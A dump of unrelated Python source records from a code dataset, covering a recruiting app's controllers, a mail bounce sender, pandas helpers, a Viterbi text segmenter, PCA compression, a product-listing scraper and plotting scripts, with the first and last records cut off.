self.trans_llr5(score, label) + self.trans_llr(score1,label1)\n # score = self.trans_llr5(score, label1)\n score = self.trans_evidence(score1,score2,evi1,evi2)\n # score = self.tran_combine(score1=score1,\n # weight1=0.701,\n # score2=dp_score,\n # weight2=0.574,\n # k=1)\n\n scores.append(score)\n\n dic = {'name': list(self.profile_names), 'score': scores}\n pre = pd.DataFrame(dic)\n pre = pre.sort_values('score', ascending=False)\n return pre\n","sub_path":"PaPr/diff_calssify/tree_single_loss_wight.py","file_name":"tree_single_loss_wight.py","file_ext":"py","file_size_in_byte":9205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"553846593","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n\turl(r'^$', views.index, name=\"index\"),\n\turl(r'^process$', views.process, name=\"process\"),\n\turl(r'^details/(?P[0-9]+)$', views.details, name='details'),\n\turl(r'^processdetails$', views.processdetails, name=\"processdetails\"),\n\turl(r'^share$', views.share, name=\"share\"),\n]","sub_path":"digarchiver/doi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"93135821","text":"from ..adapters.requests import VacancyAddRequest, VacancyEditRequest, VacancyDeleteRequest, VacanciesListRequest\nfrom ..adapters.repositories import VacancyRepository, ResumeRepository, CallListRepository, ResponseItemRepository, \\\n ResponseMiscRepository\nfrom ..usecases.vacancy_add_uc import AddVacancyUsecase\nfrom ..usecases.vacancy_edit_uc import EditVacancyUsecase\nfrom ..usecases.vacancy_delete_uc import DeleteVacancyUsecase\nfrom ..usecases.vacancy_list_uc import VacancyListUsecase\nfrom common.decorators import format_error_messages\nfrom common.exceptions import ValidationError\nfrom apps.userprofile.adapters.repositories import UserRepository\nfrom apps.parsing.adapters.controllers import get_all_sources, get_tasks_by_vacancy\nfrom apps.parsing.adapters.db_repositories import TaskDbRepo, LogDbRepo\nfrom apps.parsing.framework.tasks import load_zp_resumes, load_hh_resumes\nfrom common.exceptions import NotFoundError, InvalidArgumentException\n\n\n@format_error_messages\ndef add_vacancy_controller(data: dict, user_id: int):\n request = VacancyAddRequest(**data)\n repository = VacancyRepository()\n use_case = AddVacancyUsecase(request=request, repo=repository)\n data = use_case.execute(recruiter_id=user_id)\n return {'data': data, 'errors': []}\n\n\n@format_error_messages\ndef edit_vacancy_controller(data: dict, vacancy_id: int, user_id: int):\n data['id'] = vacancy_id\n request = VacancyEditRequest(**data)\n repository = VacancyRepository()\n use_case = EditVacancyUsecase(request=request, repo=repository)\n data = use_case.execute(user_id=user_id)\n return {'data': data, 'errors': []}\n\n\n@format_error_messages\ndef delete_vacancy_controller(vacancy_id: int, user_id: int):\n request = VacancyDeleteRequest(vacancy_id=vacancy_id, user_id=user_id)\n repository = VacancyRepository()\n use_case = DeleteVacancyUsecase(request=request, repo=repository)\n use_case.execute()\n return {'errors': []}\n\n\n@format_error_messages\ndef get_vacancy_controller(vacancy_id: int):\n repository = VacancyRepository()\n vacancy = repository.get_vacancy(vacancy_id=vacancy_id)\n vacancy_dict = vacancy.__dict__\n\n user_created = ''\n user_updated = ''\n\n user_repo = UserRepository()\n\n if vacancy.recruiter_id:\n try:\n user_created = '@{}'.format(user_repo.get_user_by_id(user_id=vacancy.recruiter_id).username)\n except NotFoundError:\n user_created = '@deleted'\n\n if vacancy.updated_recruiter_id:\n try:\n user_updated = '@{}'.format(user_repo.get_user_by_id(user_id=vacancy.updated_recruiter_id).username)\n except NotFoundError:\n user_updated = '@deleted'\n\n vacancy_dict['user_created'] = user_created\n vacancy_dict['user_updated'] = user_updated\n\n return {'data': vacancy_dict, 'errors': []}\n\n\n@format_error_messages\ndef get_vacancies_list(data: dict, user_id: int):\n request = VacanciesListRequest(**{**data, 'user_id': user_id})\n repository = VacancyRepository()\n use_case = VacancyListUsecase(request=request, repo=repository)\n data = use_case.execute()\n return {'data': data, 'errors': []}\n\n\n@format_error_messages\ndef get_configure_parsing_dashboard(vacancy_id: int) -> dict:\n sources = get_all_sources()\n repository_vacancy = VacancyRepository()\n vacancy = repository_vacancy.get_vacancy(vacancy_id=vacancy_id)\n data = []\n for i in get_tasks_by_vacancy(vacancy_id=vacancy_id):\n item = {\n 'id': i.id,\n 'vacancy_id': i.vacancy_id,\n 'source_id': i.source_id,\n 'status': i.status,\n 'params': [],\n }\n for p in i.properties:\n item['params'].append({\n 'name': p.source_field_name,\n 'value': p.source_field_label,\n })\n data.append(item)\n return {\n 'data': {\n 'vacancy': {\n 'id': vacancy.id,\n 'name': vacancy.name,\n },\n 'sources': [i.id for i in sources],\n 'tasks': data,\n },\n 'errors': [],\n }\n\n\n@format_error_messages\ndef save_parsing_taskparam(task_id: int, vacancy_id: int, source_id: str, fields: list) -> dict:\n if not fields:\n exception = ValidationError()\n exception.add_message(code='fields', message='Вы не указали параметры отбора')\n raise exception\n repo = TaskDbRepo()\n if task_id:\n repo.delete_task(task_id=task_id)\n task_id = repo.create_task(vacancy_id=vacancy_id, source_id=source_id)\n for i in fields:\n source_search_field = repo.get_source_search_field(source_id=source_id, field_id=i['field'])\n\n if isinstance(i['value'], list):\n for val in i['value']:\n if not val:\n continue\n field_value_entity = repo.get_field_by_field_id_and_value(field_id=source_search_field.id,\n value=val)\n repo.create_parsing_task_param(source_field_pk=source_search_field.id,\n source_field_id=source_search_field.field_id,\n source_field_label=field_value_entity.name,\n source_field_value=field_value_entity.value,\n source_field_name=source_search_field.name,\n task_id=task_id)\n else:\n if not i['value']:\n continue\n field_value_entity = repo.get_field_by_field_id_and_value(field_id=source_search_field.id, value=i['value'])\n repo.create_parsing_task_param(source_field_pk=source_search_field.id,\n source_field_id=source_search_field.field_id,\n source_field_label=field_value_entity.name\n if field_value_entity.name else i['value'],\n source_field_value=field_value_entity.value\n if field_value_entity.value else i['value'],\n source_field_name=source_search_field.name,\n task_id=task_id)\n return {'data': {'task_id': task_id}, 'errors': []}\n\n\n@format_error_messages\ndef get_task_controller(task_id: int):\n task_repo = TaskDbRepo()\n task = task_repo.get_task(task_id=task_id)\n\n log_repo = LogDbRepo(task)\n\n task_dict = task.__dict__\n task_properties = []\n\n for p in task.properties:\n task_properties.append({\n 'name': p.source_field_name,\n 'value': p.source_field_label,\n })\n\n repository = VacancyRepository()\n vacancy_dict = repository.get_vacancy(vacancy_id=task.vacancy_id).__dict__\n\n logs = [i.__dict__ for i in log_repo.tail_logs()]\n\n task_dict['properties'] = task_properties\n\n return {\n 'data': {\n 'task': task_dict,\n 'vacancy': vacancy_dict,\n 'logs': logs,\n },\n 'errors': []\n }\n\n\n@format_error_messages\ndef start_task_controller(task_id: int):\n \"\"\"\n Controller for starting a celery task\n\n :param task_id:\n :return:\n \"\"\"\n task_repo = TaskDbRepo()\n task = task_repo.get_task(task_id=task_id)\n\n task_repo.set_task_queue(task_id=task_id)\n\n log_repo = LogDbRepo(task)\n log_repo.mark_put_to_queue()\n\n if task.source_id == 'hh':\n load_hh_resumes.apply_async(kwargs={'task_id': task_id})\n if task.source_id == 'zp':\n load_zp_resumes.apply_async(kwargs={'task_id': task_id})\n\n if task.source_id not in ['hh', 'zp']:\n raise InvalidArgumentException('Вы пытаетесь стартовать задачу парсинга для неизвестного источника')\n\n return {'data': {}, 'errors': {}}\n\n\n@format_error_messages\ndef task_status_controller(task_id: int):\n \"\"\"\n This method if being called periodically by frontend\n and returns the task with current state and its parsing logs\n\n :param task_id:\n :return:\n \"\"\"\n task_repo = TaskDbRepo()\n task = task_repo.get_task(task_id=task_id)\n\n task_dict = task.__dict__\n task_properties = []\n\n for p in task.properties:\n task_properties.append({\n 'name': p.source_field_name,\n 'value': p.source_field_label,\n })\n\n task_dict['properties'] = task_properties\n\n log_repo = LogDbRepo(task)\n\n logs = []\n for i in log_repo.tail_logs():\n logs.append(i.__dict__)\n\n return {\n 'data': {\n 'task': task_dict,\n 'logs': logs,\n },\n 'errors': [],\n }\n\n\n@format_error_messages\ndef resumes_by_vacancy(vacancy_id: int):\n repo = ResumeRepository()\n data = repo.get_resumes_by_vacancy(vacancy_id=vacancy_id)\n return {'data': data, 'errors': []}\n\n\n@format_error_messages\ndef add_applicant_to_call_list(vacancy_id: int, applicant_id: int):\n repo = CallListRepository(vacancy_id=vacancy_id, applicant_id=applicant_id)\n repo.add()\n return {'data': {}, 'errors': []}\n\n\n@format_error_messages\ndef delete_applicant_from_call_list(vacancy_id: int, applicant_id: int):\n repo = CallListRepository(vacancy_id=vacancy_id, applicant_id=applicant_id)\n repo.remove()\n return {'data': {}, 'errors': []}\n\n\n@format_error_messages\ndef get_resume_by_id(resume_id: int):\n repo = ResumeRepository()\n data = repo.get_item(resume_id=resume_id)\n return {'data': data, 'errors': []}\n\n\n@format_error_messages\ndef get_response_by_id(response_id: int):\n repo = ResponseItemRepository(response_id=response_id)\n data = repo.get_item()\n return {'data': data, 'errors': []}\n\n\n@format_error_messages\ndef get_response_by_vacancy_and_applicant(vacancy_id: int, applicant_id: int):\n repo = ResponseMiscRepository()\n data = repo.get_response_by_vacancy_and_applicant(vacancy_id=vacancy_id, applicant_id=applicant_id)\n return get_response_by_id(data['id'])\n\n","sub_path":"apps/applicants/adapters/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":10135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"305969636","text":"# -*- coding: UTF-8 -*-\n# Copyright 2009-2019 Oli Schacher, Fumail Project\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport smtplib\nimport logging\nimport os\nimport email\nfrom email.utils import formatdate, make_msgid\nfrom email.header import Header\nimport socket\nimport re\nfrom fuglu.shared import apply_template, FileList, extract_domain\nfrom fuglu.stringencode import force_bString\n\n\nclass FugluSMTPClient(smtplib.SMTP):\n \"\"\"\n This class patches the sendmail method of SMTPLib so we can get the return message from postfix\n \"\"\"\n queueid = None\n requeue_rgx = re.compile(\"\"\"2.0.0 Ok: queued as (?P[A-Za-z0-9]{12,18}|[A-Z0-9]{10,12})\"\"\")\n \n \n def _queueid_from_postfixreply(self, logline):\n queueid = None\n m = self.requeue_rgx.search(logline)\n if m is not None:\n queueid = m.groupdict()['requeueid']\n return queueid\n \n \n def getreply(self):\n code, response = smtplib.SMTP.getreply(self)\n queueid = self._queueid_from_postfixreply(response.decode())\n if queueid is not None:\n self.queueid = queueid\n return code, response\n\n\nclass Bounce(object):\n\n \"\"\"Send Mail (Bounces)\"\"\"\n\n def __init__(self, config):\n self.logger = logging.getLogger('fuglu.bouncer')\n self.config = config\n self.nobounce = None\n \n \n def _init_nobounce(self):\n if self.nobounce is None:\n try:\n filepath = self.config.get('main', 'nobouncefile')\n except Exception:\n filepath = None\n if filepath and os.path.exists(filepath):\n self.nobounce = FileList(filepath)\n elif filepath:\n self.logger.warning('nobouncefile %s not found' % filepath)\n \n \n def _add_required_headers(self, recipient, messagecontent):\n \"\"\"add headers required for sending automated mail\"\"\"\n\n msgrep = email.message_from_bytes(force_bString(messagecontent))\n msgrep.set_charset(\"utf-8\") # define unicode because the messagecontent is unicode\n\n if not 'to' in msgrep:\n msgrep['To'] = Header(\"<%s>\" % recipient).encode()\n\n if not 'From' in msgrep:\n msgrep['from'] = Header(\"\" % socket.gethostname()).encode()\n\n if not 'auto-submitted' in msgrep:\n msgrep['auto-submitted'] = Header('auto-generated').encode()\n\n if not 'date' in msgrep:\n msgrep['Date'] = formatdate(localtime=True)\n\n if not 'Message-id' in msgrep:\n msgrep['Message-ID'] = make_msgid()\n\n return msgrep.as_string()\n \n \n def send_template_file(self, recipient, templatefile, suspect, values):\n \"\"\"Send a E-Mail Bounce Message\n\n Args:\n recipient (str): Message recipient (bla@bla.com)\n templatefile (str): Template to use\n suspect (fuglu.shared.Suspect) suspect that caused the bounce\n values :Values to apply to the template. ensure all values are of type \n\n If the suspect has the 'nobounce' tag set, the message will not be sent. The same happens\n if the global configuration 'disablebounces' is set.\n \"\"\"\n\n if not os.path.exists(templatefile):\n self.logger.error('Template file does not exist: %s' % templatefile)\n return\n\n with open(templatefile) as fp:\n filecontent = fp.read()\n\n queueid = self.send_template_string(recipient, filecontent, suspect, values)\n return queueid\n \n \n def send_template_string(self, recipient, templatecontent, suspect, values):\n \"\"\"Send a E-Mail Bounce Message\n\n If the suspect has the 'nobounce' tag set, the message will not be sent. The same happens\n if the global configuration 'disablebounces' is set.\n\n Args:\n recipient (unicode or str) : Message recipient (bla@bla.com)\n templatecontent (unicode or str) : Template to use\n suspect (fuglu.shared.Suspect) : suspect that caused the bounce\n values : Values to apply to the template\n \"\"\"\n if suspect.get_tag('nobounce'):\n self.logger.info('Not sending bounce to %s - bounces disabled by plugin' % recipient)\n return\n\n message = apply_template(templatecontent, suspect, values)\n try:\n message = self._add_required_headers(recipient, message)\n except Exception as e:\n self.logger.warning('Bounce message template could not be verified: %s' % str(e))\n\n self.logger.debug('Sending bounce message to %s' % recipient)\n fromaddress = \"<>\"\n queueid = self.send(fromaddress, recipient, message)\n return queueid\n \n \n def send(self, fromaddress, toaddress, message):\n \"\"\"really send message\"\"\"\n if self.config.getboolean('main', 'disablebounces'):\n self.logger.info('Bounces are disabled in config - not sending message to %s' % toaddress)\n return\n \n self._init_nobounce()\n if self.nobounce and extract_domain(toaddress) in self.nobounce.get_list():\n self.logger.info('Bounces to this rcpt are disabled - not sending message to %s' % toaddress)\n return\n \n smtpServer = FugluSMTPClient(self.config.get('main','bindaddress'), self.config.getint('main', 'outgoingport'))\n helo = self.config.get('main', 'outgoinghelo')\n if helo.strip() == '':\n helo = socket.gethostname()\n smtpServer.helo(helo)\n smtpServer.sendmail(fromaddress, toaddress, message)\n smtpServer.quit()\n return smtpServer.queueid\n \n \n def _send(self, fromaddress, toaddress, message):\n \"\"\"deprecated version of send()\"\"\"\n self.send(fromaddress, toaddress, message)\n","sub_path":"fuglu/src/fuglu/bounce.py","file_name":"bounce.py","file_ext":"py","file_size_in_byte":6383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"530051740","text":"import pandas as pd\nfrom pandas.api.types import is_categorical_dtype\nfrom pandas.api.types import is_float_dtype\n#from sklearn.linear_model import LinearRegression\n\nclass InformacionDatos:\n\n def estadisticas(self, modelo):\n estadistica = pd.DataFrame(modelo)\n return estadistica.describe()\n\n def correlacion(self, modelo):\n correlacion = pd.DataFrame(modelo)\n return correlacion.corr()\n\n def datosInformativos(self, modelo):\n datos = pd.DataFrame(modelo)\n print(\"Informacion de modelos\")\n ##print(datos.describe())\n print(datos.info())\n ##print(datos.corr())\n ##print(datos.head(n=5))\n\n\n def prediccionLineal(self,modelo):\n modelo = pd.DataFrame(modelo)\n modelo = modelo.dropna()\n categorias = self.listaDeCategorias(modelo)\n objetivo = self.fijarObjetivo(modelo)\n categorias.remove(objetivo[0])\n X=modelo[categorias]\n Y=modelo[objetivo]\n lm = LinearRegression()\n lm.fit(X,Y)\n print(\"Inicio coeficientes\")\n print (lm.intercept_)\n print (lm.coef_)\n zip(categorias, lm.coef_)\n print(lm.score(X,Y))\n print(\"Fin coeficientes\")\n\n def fijarObjetivo(self, datos):\n seleccionados = pd.DataFrame(datos)\n categorias = list(seleccionados)\n objetivo = []\n medida = len(categorias)\n for i in categorias:\n valor = is_categorical_dtype(seleccionados[i])\n columna = i\n tipo = seleccionados[i].dtype\n if (is_float_dtype(seleccionados[i])):\n objetivo.append(i)\n return objetivo\n\n def listaDeCategorias(self, datos):\n seleccionados = pd.DataFrame(datos)\n categorias = list(seleccionados)\n medida = len(categorias)\n for i in categorias:\n valor = is_categorical_dtype(seleccionados[i])\n columna = i\n tipo = seleccionados[i].dtype\n if (is_categorical_dtype(seleccionados[i])):\n categorias.remove(i)\n if (is_float_dtype(seleccionados[i])):\n categorias.remove(i)\n return categorias","sub_path":"src/control/informacion.py","file_name":"informacion.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"103939991","text":"#!/usr/bin/python -u\nimport re\n\n# ==============================================================\n\"\"\"\nviterbi1\nFind the best chunking of the given strSent as a string of space \ndelimited sequence of words, purely by Viterbi on phrase unigram.\n\ninput:\n strSent: text containing space delimited sequence of words\n We apply no restriction to the definition of \"word\".\n P: phrase unigram model (in log scale)\n maxPhraseLen: maximum number of words in a phrase\n isRecursive: by default, we recursively apply the same on \n chunks by shrinking maxPhraseLen to be \"one less\".\n\noutput:\n listPhrases: list of chunked phrases\n\"\"\"\n# bestScore[i] = best log likelihood for phrases ending at position i\n# bestPhrase[i] = best phrase ending at position i\n# bestPhraseLen[i] = number of words in bestPhrase[i]\n# ==============================================================\nimport copy\n\nquerydict = {}\nlookupset = set()\nminLogPw = -21 # Zetta-words\n\n\ndef viterbi1(strSent, maxPhraseLen=20, isRecursive=True):\n ## init\n if querydict[strSent] == -4: #System Lexicon\n return [\"\".join(strSent.split())]\n\n sent = ['^'] + strSent.split()\n sentLen = len(sent)\n bestPhrase = copy.deepcopy(sent)\n bestPhraseLen = [1] * sentLen\n bestScore = [0.0] + [(minLogPw * i) for i in range(1, sentLen + 1)]\n\n ## forward path: fill up \"best\"\n for i in range(1, sentLen):\n for j in range(max(0, i - maxPhraseLen), i):\n phrase = ' '.join(sent[j + 1:i + 1])\n LogPw = querydict.get(phrase, 0)\n if LogPw != 0 and LogPw + bestScore[j] > bestScore[i]:\n bestPhrase[i] = phrase\n bestPhraseLen[i] = i - j\n bestScore[i] = LogPw + bestScore[j]\n\n ## backward path: collect \"best\"\n listPhrases = []\n i = sentLen - 1\n while i > 0:\n ## recursion\n if bestPhraseLen[i] > 2:\n if isRecursive:\n subPhrases = viterbi1(bestPhrase[i], bestPhraseLen[i] - 1, isRecursive)\n if 1 < len(subPhrases) < len(bestPhrase[i].split()):\n bestPhrase[i] = '<' + ' '.join(subPhrases) + '>'\n else:\n bestPhrase[i] = ''.join(subPhrases)\n else:\n bestPhrase[i] = ''.join(['\\['] + bestPhrase[i] + ['\\]'])\n elif bestPhraseLen[i] == 2: # one word. leave it be.\n bestPhrase[i] = ''.join(sent[i + 1 - 2: i + 1])\n else:\n bestPhrase[i] = bestPhrase[i]\n\n listPhrases[0:0] = [bestPhrase[i]]\n i = i - bestPhraseLen[i]\n\n ## return\n return listPhrases\n\n\ndef QuerySegment(Sentence):\n resultPhraseList = viterbi1(normalize(Sentence.strip()), len(Sentence))\n\n if not resultPhraseList:\n return ''\n if len(resultPhraseList) > 1:\n resultPhrase = '<' + ' '.join(resultPhraseList) + '>'\n else:\n resultPhrase = resultPhraseList[0]\n return resultPhrase\n\n\n# ==============================================================\n# isNonHanzi()\n# ==============================================================\ndef isNonHanzi(s): return all((ord(c) < 0x4e00 or ord(c) > 0x9fff) for c in s)\n\n\n# ==============================================================\n# normalize queries by taking space delimited chunks as phrases\n# and by adding spaces in between 'words'\n# Here a 'word' is defined as English word or single Chinese character\n# ==============================================================\ndef normalize(sentence):\n phrase = ''\n word_prev = ''\n for word in list(sentence):\n phrase = phrase + ('' if isNonHanzi(word_prev) and isNonHanzi(word) else ' ') + word\n word_prev = word\n return phrase.strip()\n\n\ndef LoadDictFromPickle(dictpath=\"../data/g1.words.P\"):\n global querydict\n import pickle\n\n # ==============================================================\n # unigram tokenization\n # ==============================================================\n import math\n querydict = pickle.load(open(dictpath, \"rb\"))\n logN = math.log10(querydict[''])\n for word in querydict:\n querydict[word] = math.log10(querydict[word]) - logN\n\n\ndef LoadDictFromLexicon(dictpath, value):\n global querydict\n print(\"Before loading from lexicon, size:\" + str(len(querydict)))\n with open(dictpath) as lexicondict:\n for line in lexicondict:\n if len(line.strip()) >= 2:\n querydict[normalize(line.strip())] = value\n print(\"After loading from lexicon, size:\" + str(len(querydict)))\n if '中 介' in querydict:\n print(\"querydict['中 介']=\" + str(querydict['中 介']))\n if '军 刀 黑' in querydict:\n print(\"querydict['军 刀 黑']=\" + str(querydict['军 刀 黑']))\n if '胖 妹 妹' in querydict:\n print(\"querydict['胖 妹 妹']=\" + str(querydict['胖 妹 妹']))\n\ndef LoadLookupDictFromLexicon(dictpath):\n global querydict\n print(\"Before loading from lexicon, size:\" + str(len(querydict)))\n with open(dictpath) as lexicondict:\n for line in lexicondict:\n if len(line.strip()) >= 2:\n lookupset.add(normalize(line.strip()))\n print(\"After loading lookup dict from lexicon, size:\" + str(len(lookupset)))\n if '中 介' in lookupset:\n print(\"['中 介'] in lookupset\" )\n if '军 刀 黑' in lookupset:\n print(\"['军 刀 黑'] in lookupset\" )\n if '胖 妹 妹' in lookupset:\n print(\"['胖 妹 妹'] in lookupset\" )\n\n\nif __name__ == \"__main__\":\n LoadDictFromPickle()\n\n print(QuerySegment(\"鼠标和小米手机\"))\n","sub_path":"src/viterbi1.py","file_name":"viterbi1.py","file_ext":"py","file_size_in_byte":5577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"145764638","text":"def solution(n):\n answer = 0\n while len(list(str(n)))!=1:\n print(n)\n nums = list(str(n))\n mid = len(list(str(n)))//2\n\n\n left_num = nums[:mid]\n right_num = nums[mid:]\n\n while(right_num[0]==\"0\"):\n left_num.append(right_num.pop(0))\n\n\n\n\n n = eval(\"\".join(left_num)+\"+\"+\"\".join(right_num))\n answer +=1\n return [answer,n]\n #if right_num = \n\n \n return answer\n\n\n\nprint(solution(9))","sub_path":"line_2020/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"645878083","text":"import numpy as np\n\n\ndef compress(X, k):\n N = X.shape[0]\n\n # Compute the mean vector\n x_avg = X.mean(axis=0)\n\n # Center the data\n X_centered = X - x_avg\n\n # Compute the covariance matrix\n S = np.cov(X_centered, rowvar=False)\n\n # Compute the eigenvalues and eigenvectors\n eig_vals, eig_vecs = np.linalg.eigh(S)\n\n # Re-arrange the eigenvectors by ascending eigenvalues\n rank = np.argsort(eig_vals)[-k:][::-1]\n Uk = eig_vecs[:, rank]\n\n # Compress the data by projecting\n Z = X_centered @ Uk\n\n return Uk, x_avg, Z\n\n\ndef decode(Uk, x_avg, Z):\n return Z @ Uk.T + x_avg\n","sub_path":"02 - PCA/02 - Image & Audio Compression with PCA/pca.py","file_name":"pca.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"611080311","text":"from .models import Vacation\n\n\ndef vac_search(accepted, search_from, search_to, query_user):\n found_list = []\n if query_user == '':\n # filters without user parameter\n if accepted == 'all':\n found = Vacation.objects.filter(add_date__range=[search_from, search_to]).order_by('-id')\n else:\n found = Vacation.objects.filter(accepted=accepted,\n add_date__range=[search_from, search_to]).order_by('-id')\n else:\n # filters with user parameter\n if accepted == 'all':\n found = Vacation.objects.filter(user__contains=query_user,\n add_date__range=[search_from, search_to]).order_by('-id')\n else:\n found = Vacation.objects.filter(user__contains=query_user, accepted=accepted,\n add_date__range=[search_from, search_to]).order_by('-id')\n\n for f in found:\n found_list.append(f)\n return found_list\n\n\ndef apply_dec(vac_edit_obj, decision):\n if decision == 'True':\n vac_edit_obj.accepted = True\n vac_edit_obj.save()\n else:\n if decision == 'False':\n vac_edit_obj.accepted = False\n vac_edit_obj.save()\n else:\n vac_edit_obj.delete()\n return 'deleted'\n","sub_path":"panel/scripts.py","file_name":"scripts.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"247300069","text":"import pylab\nimport tables\nimport math\nimport numpy\nimport pylab\nimport numpy\nimport gkedata\nimport gkedgbasis\nfrom matplotlib import rcParams\nimport matplotlib.pyplot as plt\n\n# customization for figure\nrcParams['lines.linewidth'] = 2\nrcParams['font.size'] = 18\n#rcParams['xtick.major.size'] = 8 # default is 4\n#rcParams['xtick.major.width'] = 3 # default is 0.5\n#rcParams['ytick.major.size'] = 8 # default is 4\n#rcParams['ytick.major.width'] = 3 # default is 0.5\nrcParams['figure.facecolor'] = 'white'\n#rcParams['figure.subplot.bottom'] = 0.125\n#rcParams['figure.subplot.right'] = 0.85 # keep labels/ticks of colobar in figure\nrcParams['image.interpolation'] = 'none'\nrcParams['image.origin'] = 'lower'\nrcParams['contour.negative_linestyle'] = 'solid'\n#rcParams['savefig.bbox'] = 'tight'\n\n# Math/LaTex fonts:\n# http://matplotlib.org/users/mathtext.html\n# http://matplotlib.org/users/usetex.html\n# Example: xlabel(r'$t \\cdot l / V_{A,bc}$')\nrcParams['mathtext.default'] = 'regular' # match the font used for regular text\n\ndef colorbar_adj(obj, mode=1, redraw=False, _fig_=None, _ax_=None, aspect=None):\n '''\n Add a colorbar adjacent to obj, with a matching height\n For use of aspect, see http://matplotlib.org/api/axes_api.html#matplotlib.axes.Axes.set_aspect ; E.g., to fill the rectangle, try \"auto\"\n '''\n from mpl_toolkits.axes_grid1 import make_axes_locatable\n if mode == 1:\n _fig_ = obj.figure; _ax_ = obj.axes\n elif mode == 2: # assume obj is in the current figure/axis instance\n _fig_ = plt.gcf(); _ax_ = plt.gca()\n _divider_ = make_axes_locatable(_ax_)\n _cax_ = _divider_.append_axes(\"right\", size=\"5%\", pad=0.05)\n _cbar_ = _fig_.colorbar(obj, cax=_cax_)\n if aspect != None:\n _ax_.set_aspect(aspect)\n if redraw:\n _fig_.canvas.draw()\n return _cbar_\n\ndef plotFrame(f):\n gkd = gkedata.GkeData(\"s2-dg-euler-rt_q_%d.h5\" % f)\n dgd = gkedgbasis.GkeDgSerendip2DPolyOrder1Basis(gkd)\n Xc, Yc, rho = dgd.project(0)\n pylab.figure(1)\n pylab.pcolormesh(Xc, Yc, pylab.transpose(rho))\n pylab.axis('image')\n pylab.gca().set_xticks([])\n pylab.gca().set_yticks([])\n pylab.axis('image')\n pylab.clim(35000, 65000)\n pylab.title ('t = %g' % gkd.time)\n pylab.savefig('s2-dg-euler-rt_rho_%05d.png' % f, bbox_inches='tight')\n pylab.close()\n\nfor i in range(0,26):\n print (\"Working on frame %d ...\" % i)\n plotFrame(i)\n","sub_path":"source/sims-2/euler-rt/s2/plot-sol.py","file_name":"plot-sol.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"425240783","text":"from fungsi import *\n\nwhile True:\n\tcmd = input(\"pilihan menu (A)dd,(L)ist,(S)earch,(D)elete,(Q)uit = \")\n\n\tif cmd == 'a' or cmd == 'A':\n\t\ttambah()\n\n\telif cmd == 'l' or cmd == 'L':\n\t\tdaftar()\n\n\telif cmd == 's' or cmd == 'S':\n\t\tcari()\n\n\telif cmd == 'd' or cmd == 'D':\n\t\thapus()\n\n\telif cmd == 'q' or cmd == 'Q':\n\t\tbreak\n\n\telse:\n\t\tprint('menu tidak terdaftar')\nprint('Terima Kasih telah menggunakan program ini:)')","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"239971729","text":"from bs4 import BeautifulSoup\nimport requests\nimport json\n\nvorur = {'results': []}\n\nfor x in range(1, 120):\n url = 'http://tl.is/products/?page=' + str(x)\n data = requests.get(url)\n encoding = data.encoding if \"charset\" in data.headers.get(\"content-type\", \"\").lower() else None\n soup = BeautifulSoup(data.content, 'html.parser', from_encoding=encoding)\n vr_nr = soup.find_all(\"div\", attrs={'class': 'productItem-brand'})\n name = soup.find_all(\"div\", attrs={'class': 'productItem-title'})\n for nr, na in zip(vr_nr[0:], name[0:]):\n nr_strip = nr.text.strip()\n na_strip = na.text.strip()\n temp_vara = {'nr': nr_strip, 'name': na_strip}\n vorur['results'].append(temp_vara)\n print(x)\n\nwith open('tl.json', 'w', encoding=\"utf-8\") as json_file:\n json.dump(vorur, json_file)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"19161697","text":"#!/usr/bin/env python\nimport argparse\nimport json\nimport os\nimport pickle\nimport sys\nimport time\nimport glob\nimport sparse\nfrom fmm import *\nfrom ilpm import path, vector\nfrom matplotlib import cm\nfrom numpy import *\nimport matplotlib.pyplot as plt\n\n\ncmap = cm.viridis\nLINE_STYLES = ['solid', 'dashed', 'dotted']\n\nHYDROFOIL_CODEX_JSON = None\nif not HYDROFOIL_CODEX_JSON:\n DATA_ROOT = os.path.expanduser('~/hydrofoils')\n if not os.path.exists:\n os.mkdir(DATA_ROOT)\n HYDROFOIL_CODEX_JSON = os.path.join(DATA_ROOT, 'HYDROFOIL_CODEX.json')\n\n# SEEDS_PER_PATH = 5\nLINE_TRACE_STEP = 0.5\nPC = True\nSCALED = False\nEPSILON = 0.05\n\n\nclass Clicker:\n \"\"\"A Class used to store information about click positions and display them on a figure.\"\"\"\n\n def __init__(self, ax):\n self.canvas = ax.get_figure().canvas\n self.cid = None\n self.pt_lst = []\n self.pt_plot = ax.scatter([], [], marker='o', color='m')\n self.connect_sf()\n\n def clear(self):\n \"\"\"Clears the points\"\"\"\n 